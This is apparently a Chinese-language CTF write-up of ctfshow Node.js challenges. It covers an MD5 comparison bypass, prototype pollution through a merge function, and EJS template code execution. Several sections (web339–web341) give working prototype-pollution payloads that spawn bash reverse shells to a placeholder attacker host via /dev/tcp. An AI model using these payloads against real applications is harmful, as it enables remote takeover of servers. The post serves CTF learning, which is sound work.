973 字
5 分钟
ctfshow-Nodejs学习

ctf-nodejs之一些小知识

web337#

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

关键:

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);

payload:?a[x]=1&b[x]=2
原理

a[x]=1&b[x]=2 相当于是说,a和b都是 引用数据类型(对象类型),那么在a+flagb+flag 时,他们的结果就会都是[object Object]flag{xxx} ,那么md5值自然就是一样的了。

web338(原型链污染#

深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)

/routes/login.js
var express = require('express');

var router = express.Router();

var utils = require('../utils/common');

  
  
  

/* GET home page.  */

router.post('/', require('body-parser').json(),function(req, res, next) {

  res.type('html');

  var flag='flag_here';

  var secert = {};

  var sess = req.session;

  let user = {};

  utils.copy(user,req.body);

  if(secert.ctfshow==='36dboy'){

    res.end(flag);

  }else{

    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  

  }

});

  

module.exports = router;

payload: 将post修改为

{"__proto__":{"ctfshow":"36dboy"}}

原理:
将原类中的属性ctfshow值设置为36dboy
之后所以继承该类的类都会有ctfshow这个属性

web339#

再探 JavaScript 原型链污染到 RCE

  if(secert.ctfshow===flag){
    res.end(flag);

该题我们未知flag的值
多了个api.js

  res.render('api', { query: Function(query)(query)});

众所周知,js的函数是Function的对象,参数为:
new Function ([arg1[, arg2[, ...argN]],] functionBody)
所以我们只要能污染query,便能执行任意指令
师傅们的payload:

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/2333 0>&1\"')"}} 

值得注意的是,只能污染一次,之后就一直是500了(试了好久。。。
原因:

在 utils.copy(user,req.body);打上断跟进去,堆栈一共三次 copy()
第一次key是 "__proto__";第二次key是"query";第三次出错了,key是'0',object变成污染后的值了,不再是键值对!,所以在经过 if (key in object2 && key in object1) 判断时报错了

来源: 会下雪的晴天
文章作者: yq1ng
文章链接: https://yq1ng.github.io/2020/12/31/ctfshow-nodejs-zhuan-ti/

正常payload后
![[d124ed64e71a695da94d9d12b267caf7_MD5.jpg]]
在自己的服务器上进行监听

获得shell,进行cat /f*
得到flag

web340#

题面不变,依然是通过copy函数污染原型链
![[e96e5f8da5df5ba22e9e9ecd2c1c4585_MD5.jpg]]

利用方式like this:

![[796c560614b2297de0f948bc5038e118_MD5.jpg]]
可以看到成功返回了123

该题需要进行两层原型链污染,like this:

![[c0b4566c0660acfb9c34b726e3e56cba_MD5.jpg]]

入口看向api.js

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

干啥的呢 它把post的内容拿来解析了

最后一行使用 Express 的 res.render() 方法渲染一个名为 ‘api’ 的视图模板,并将一个包含查询的对象传递给视图。在这个对象中,query 是一个键,它的值是一个函数调用 Function(query)(query) 的结果,这里似乎存在一些问题,因为 query 没有被定义,于是会顺着原型链找

目标:使用child_process进行命令执行(反弹shell

payload1: ejs模板漏洞

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/5656 0>&1\"');var __tmp2"}}}
CVE-2019-10744

来自:https://blog.csdn.net/DARKNOTES/article/details/124000520

paylopa2:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}}

将query的值修改,当我们访问api.js时,命令将会被执行

为什么找两次原型?

![[fdc9b344775a035a1a9a79fbef6a1eb4_MD5.jpg]]

我们所修改的user被无名函数赋值,访问的__proto__是该函数的prototype

其又继承自Object



如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load(‘child_process’).exec(‘calc’)来执行命令

发送之后访问api.js

![[6afe805038a758a103169a9a73d3bf04_MD5.jpg]]

得到shell
![[b251c8fd88cbc3f98fa86f6c653b7fcc_MD5.jpg]]

cat ./routes/login.js

web341#

又给了源码

这次没有api.js了,应该是ejs模板漏洞

https://www.anquanke.com/post/id/248170#h2-8

ejs模板引擎rce常用poc

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

依然需要顺两次

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}}

发包后在访问index.js解析json,得到shell,flag被放在了根目录

![[2de778966a3410245815ffaddbbeef3b_MD5.jpg]]

web342/web343 jade框架#

再探 JavaScript 原型链污染到 RCE

![[cf98c27e701a819ea139596d874c25a0_MD5.jpg]]
又是web框架,但ejs模板的poc不太行

jjjjjjaaaaaaaaddddddddeeeeeeeee!

试了好久只能打开这个界面,是环境的问题???
![[46bf45a198942b13089267d96156194c_MD5.jpg]]

web344#

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

对query的请求可以通过GET方式传递,通过json的格式传参就好了

传参前url编码

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
ctfshow-Nodejs学习
http://orxiain.life/posts/ctfshow-nodejs学习/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2024-07-29
许可协议
CC BY-NC-SA 4.0